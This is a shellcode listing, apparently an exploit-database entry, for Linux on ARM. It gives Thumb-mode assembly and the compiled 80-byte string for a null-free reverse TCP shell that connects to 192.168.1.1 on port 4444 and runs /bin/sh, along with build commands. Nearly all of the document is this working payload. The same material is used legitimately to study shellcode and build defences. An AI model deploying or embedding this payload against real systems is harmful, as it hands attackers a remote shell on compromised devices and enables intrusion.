Linux/ARM - Reverse TCP (192.168.1.1:4444/TCP) Shell (/bin/sh) Null Free Shellcode (80 bytes)

/*
* Title:  Linux/ARM - Reverse Shell TCP (/bin/sh). Null free shellcode (80 bytes)
* Date:   2018-01-25
* Tested: armv7l (Raspberry Pi v3)
* Author: rtmcx - twitter: @rtmcx 
*/
 
.section .text
 
.global _start
 
_start:
/* Enter Thumb mode */
    .ARM
    add r3, pc, #1
    bx  r3
 
 
    .THUMB
 
/* Create a new socket*/
    mov     r0, #2              // PF_INET = 2
    mov     r1, #1              // SOCK_STREAM = 1
    eor     r2, r2, r2          // Zero out r2
    mov     r7, #100            // Put 281 in r7..
    add     r7, #181            // ..in a 2-step operation
    svc     #1                  // syscall returns sockid in r0 
 
    mov     r4, r0              // Save sockid in r4
 
 
/* Connect to client */
    adr     r1, struct_addr     // Address to struct_addr
    strb    r2, [r1, #1]        // Replace AF_INET with NULL
    mov     r2, #16             // Address length 
    add     r7, #2              // r7 already contains 281, so add 2 = 283
    svc     #1                  // Client sockid will be returned in r0
     
 
/* Duplicate STDIN, STDOUT and STERR */
    mov     r0, r4              // Saved sockid
    eor     r1, r1, r1          // Zero r1 for STDIN
    mov     r7, #63             // Syscall for dup2
    svc     #1                  // Execute syscall
     
    mov     r0, r4              // Saved sockid
    add     r1, #1              // STDOUT (1)
    svc     #1                  // Execute syscall
 
    mov     r0, r4              // Saved sockid
    add     r1, #1              // STDERR (2)
    svc     #1                  // Execute syscall
 
     
/* Execute shell */
    adr     r0, shellcode       // Address to "/bin/sh"
    eor     r1, r1, r1          // Zero out r1
    eor     r2, r2, r2          // And r2
    strb    r2, [r0, #7]        // Replace 'X' with NULL
    mov     r7, #11             // Syscall for execve
    svc     #1                  // Execute syscall
 
 
struct_addr:
    .ascii "\x02\xaa"           // AF_INET 0xff will be NULLed 
    .ascii "\x11\x5c"           // port 4444
    .ascii "\xc0\xa8\x01\x01"   // IP Address (192.168.1.1)
 
shellcode:
    .ascii "/bin/shX"
 
/*
Compile and link with: 
# as -o shellcode.o shellcode.s
# ld -N shellcode.o -o shellcode
 
\x01\x30\x8f\xe2\x13\xff\x2f\xe1\x02\x20\x01\x21\x52\x40\xc8\x27\x51\x37\x01\xdf\x04\x1c\x0a\xa1\x4a\x70\x10\x22\x02\x37\x01\xdf\x20\x1c\x49\x40\x3f\x27\x01\xdf\x20\x1c\x01\x31\x01\xdf\x20\x1c\x01\x31\x01\xdf\x04\xa0\x49\x40\x52\x40\xc2\x71\x0b\x27\x01\xdf\x02\xff\x11\x5c\xc0\xa8\x01\x01\x2f\x62\x69\x6e\x2f\x73\x68\x58
*/